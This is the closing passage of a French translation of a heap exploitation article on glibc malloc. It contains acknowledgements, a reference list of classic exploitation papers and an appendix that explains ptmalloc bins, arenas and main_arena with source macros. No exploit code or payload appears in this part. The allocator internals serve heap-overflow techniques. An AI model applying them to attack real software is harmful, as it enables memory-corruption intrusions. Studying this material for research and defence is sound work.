kato, javier burroni, fgsch, chipi, MaXX, lck, tomas, lau, nahual, daemon,
module, ...
Vous classifier prend du temps (un peu de ppl "complexe"), donc je dirai
simplement merci pour m'avoir encourag  crire cet article, partag vos
ides, m'avoir laiss le temps d'apprendre beaucoup de vous chaque jour,
d'avoir revu l'article, implment l'ide morecore pour la premire fois,
d'tre mes amis, me demander pour du torta, ne pas faire de torta, pour le
support personnel, les coding nights, boire de la bire, ysm, pizza au
roquefort, parler teletubbie, rendre le travail trs interessant, faire du
monde un endroit joyeux  vivre, faire que les gens vous dtestent  cause
de la musique...
(Vous devriez savoir ce qui s'applique  vous, ne demandez pas)

---------------------------------------------------------------------------
--] 7 Rfrences

[1]  http://www.malloc.de/malloc/ptmalloc2.tar.gz
     ftp://g.oswego.edu/pub/misc/malloc.c
[2]  www.phrack.org/phrack/57/p57-0x08
     Vudo - An object superstitiously believed to embody magical power
     Michel "MaXX" Kaempf
[3]  www.phrack.org/phrack/57/p57-0x09
     Once upon a free()
     anonymous
[4]  http://www.phrack.org/show.php?p=59&a=7
     Advances in format string exploitation
     gera and riq
[5]  http://www.coresecurity.com/common/showdoc.php? \
     idx=359&idxseccion=13&idxmenu=32
     About exploits writing
     gera
[6]  http://online.securityfocus.com/bid/5363
[7]  http://security.e-matters.de/advisories/012003.txt
[8]  http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt
     JPEG COM Marker Processing Vulnerability in Netscape Browsers
     Solar Designer
[9]  http://lists.insecure.org/lists/bugtraq/2000/Nov/0086.html
     Local root exploit in LBNL traceroute
     Michel "MaXX" Kaempf
[10] http://www.w00w00.org/files/articles/heaptut.txt 
     w00w00 on Heap Overflows
     Matt Conover & w00w00 Security Team
[11] http://www.phrack.org/show.php?p=49&a=14
     http://www.degenere-science.com ou www.dg-sc.org/phrack-fr pour la VF :>
     Smashing The Stack For Fun And Profit
     Aleph One
[12] http://phrack.org/show.php?p=55&a=8
     The Frame Pointer Overwrite
     klog
[13] http://www.phrack.org/show.php?p=59&a=9
     Bypassing PaX ASLR protection
     p59_09@author.phrack.org
[14] http://phrack.org/show.php?p=58&a=4
     The advanced return-into-lib(c) exploits
     Nergal
    


---------------------------------------------------------------------------
Annexe I - Rsum des structures internes de malloc

Cette annexe contient un bref rsum  propos de dtails du fonctionnement
interne de malloc que nous avons besoin d'avoir  l'esprit pour comprendre
compltement la plupart des technques expliques dans ce papier.

Les "chunks" [morceaux] de mmoire sont principalement maintenus (sans
parler du top chunk et du last_remainder chunk) dans des listes circulaires
doubles et lies, qui sont initialement vides et voluent avec l'agencement
du heap. La circularit de ces listes est trs importante pour nous, comme
nous le verrons plus tard.

Un "bin" est une paire de pointeurs sur lesquels ces listes
s'accrochent. Il existe 128 (#define NAV 128) bins, qui peuvent tre des
"petit" ou "gros" bins. Les petits bins contiennent des chunks de tailles
gales, alors que les gros bins sont composs de chunk n'ayant pas la mme
taille, ordonns par taille dcroissante.

Ceci sont les macros utilises pour indexer les bins selon leur taille :

#define MAX_SMALLBIN         63
#define MAX_SMALLBIN_SIZE   512
#define SMALLBIN_WIDTH        8
#define is_small_request(nb) ((nb) < MAX_SMALLBIN_SIZE - SMALLBIN_WIDTH)
#define smallbin_index(sz)  (((unsigned long)(sz)) >> 3)
#define bin_index(sz)                                                         \
(((((unsigned long)(sz)) >> 9) ==    0) ?       (((unsigned long)(sz)) >>  3):\
 ((((unsigned long)(sz)) >> 9) <=    4) ?  56 + (((unsigned long)(sz)) >>  6):\
 ((((unsigned long)(sz)) >> 9) <=   20) ?  91 + (((unsigned long)(sz)) >>  9):\
 ((((unsigned long)(sz)) >> 9) <=   84) ? 110 + (((unsigned long)(sz)) >> 12):\
 ((((unsigned long)(sz)) >> 9) <=  340) ? 119 + (((unsigned long)(sz)) >> 15):\
 ((((unsigned long)(sz)) >> 9) <= 1364) ? 124 + (((unsigned long)(sz)) >> 18):\
                                          126)

De la documentation de la source nous savons que "une arne est une
configuration de malloc_chunks mis ensembles avec un tableau de bins. Un
"heap" ou plus est/sont associ(s) avec chaque arne, sauf pour le
"main_arena", qui est associ seulement avec le "main_heap", i.e. le
magasin libre conventionnel obtenu par les appels  MORECORE()...", qui est
celui qui nous intresse.

Voici ce  quoi ressemble une arne...

typedef struct _arena {
  mbinptr av[2*NAV + 2];
  struct _arena *next;
  size_t size;
#if THREAD_STATS
  long stat_lock_direct, stat_lock_loop, stat_lock_wait;
#endif

"av" est le tableau o sont gards les bins.

Celles-ci sont les macros utilises tout au long du code source pour
accder aux bins, nous voyons que les deux premiers bins ne sont jamais
indexs ; ils rfrent au topmost chunk, au last_remainder chunk et  un
bitvector utilis pour amliorer le temps de recherche, bien que ceci ne
soit pas rellement important pour nous.

    /* bitvector of nonempty blocks */
#define binblocks(a)      (bin_at(a,0)->size)
    /* The topmost chunk */
#define top(a)            (bin_at(a,0)->fd)  
    /* remainder from last split */
#define last_remainder(a) (bin_at(a,1))      

#define bin_at(a, i)   BOUNDED_1(_bin_at(a, i))
#define _bin_at(a, i)  ((mbinptr)((char*)&(((a)->av)[2*(i)+2]) - 2*SIZE_SZ))


Finalement, le main_arena...

#define IAV(i) _bin_at(&main_arena, i), _bin_at(&main_arena, i)
static arena main_arena = {
    {
 0, 0,
 IAV(0),   IAV(1),   IAV(2),   IAV(3),   IAV(4),   IAV(5),   IAV(6),   IAV(7),
 IAV(8),   IAV(9),   IAV(10),  IAV(11),  IAV(12),  IAV(13),  IAV(14),  IAV(15),
 IAV(16),  IAV(17),  IAV(18),  IAV(19),  IAV(20),  IAV(21),  IAV(22),  IAV(23),
 IAV(24),  IAV(25),  IAV(26),  IAV(27),  IAV(28),  IAV(29),  IAV(30),  IAV(31),
 IAV(32),  IAV(33),  IAV(34),  IAV(35),  IAV(36),  IAV(37),  IAV(38),  IAV(39),
 IAV(40),  IAV(41),  IAV(42),  IAV(43),  IAV(44),  IAV(45),  IAV(46),  IAV(47),
 IAV(48),  IAV(49),  IAV(50),  IAV(51),  IAV(52),  IAV(53),  IAV(54),  IAV(55),
 IAV(56),  IAV(57),  IAV(58),  IAV(59),  IAV(60),  IAV(61),  IAV(62),  IAV(63),
 IAV(64),  IAV(65),  IAV(66),  IAV(67),  IAV(68),  IAV(69),  IAV(70),  IAV(71),
 IAV(72),  IAV(73),  IAV(74),  IAV(75),  IAV(76),  IAV(77),  IAV(78),  IAV(79),
 IAV(80),  IAV(81),  IAV(82),  IAV(83),  IAV(84),  IAV(85),  IAV(86),  IAV(87),
 IAV(88),  IAV(89),  IAV(90),  IAV(91),  IAV(92),  IAV(93),  IAV(94),  IAV(95),
 IAV(96),  IAV(97),  IAV(98),  IAV(99),  IAV(100), IAV(101), IAV(102), IAV(103),
 IAV(104), IAV(105), IAV(106), IAV(107), IAV(108), IAV(109), IAV(110), IAV(111),
 IAV(112), IAV(113), IAV(114), IAV(115), IAV(116), IAV(117), IAV(118), IAV(119),
 IAV(120), IAV(121), IAV(122), IAV(123), IAV(124), IAV(125), IAV(126), IAV(127)
    },
    &main_arena, /* next */
    0, /* size */
#if THREAD_STATS
    0, 0, 0, /* stat_lock_direct, stat_lock_loop, stat_lock_wait */
#endif
    MUTEX_INITIALIZER /* mutex */
};

Le main_arena est l'endroit o l'allocateur met en magasin les "bin"
auxquels les chunks libres sont relis selon leur taille.

Le petit graphe ci-dessous rsume toutes les structures dtailles
auparavant :

<main_arena> @ libc's DATA

   [bin_n]        (premier chunk)
      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  fd
                                               [    chunk
      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  bk
 [bin_n+1]        (dernier chunk)

     .
     .
     .

   [bin_X]
      ptr] ---->  [<-  fd
                  [    chunk isol mais intressant
      ptr] ---->  [<-  bk
     .
     .

|=[ EOF ]=---------------------------------------------------------------=|

Traduit par [DegenereScience]DecereBrain, le 21 Novembre 2003, 03:07
Wah 41 pages traduites, c'est la fte :-)
"Tous les hommes sont fous, et qui n'en veut point voir
 Doit rester dans sa chambre et casser son miroir" - Marquis de Sade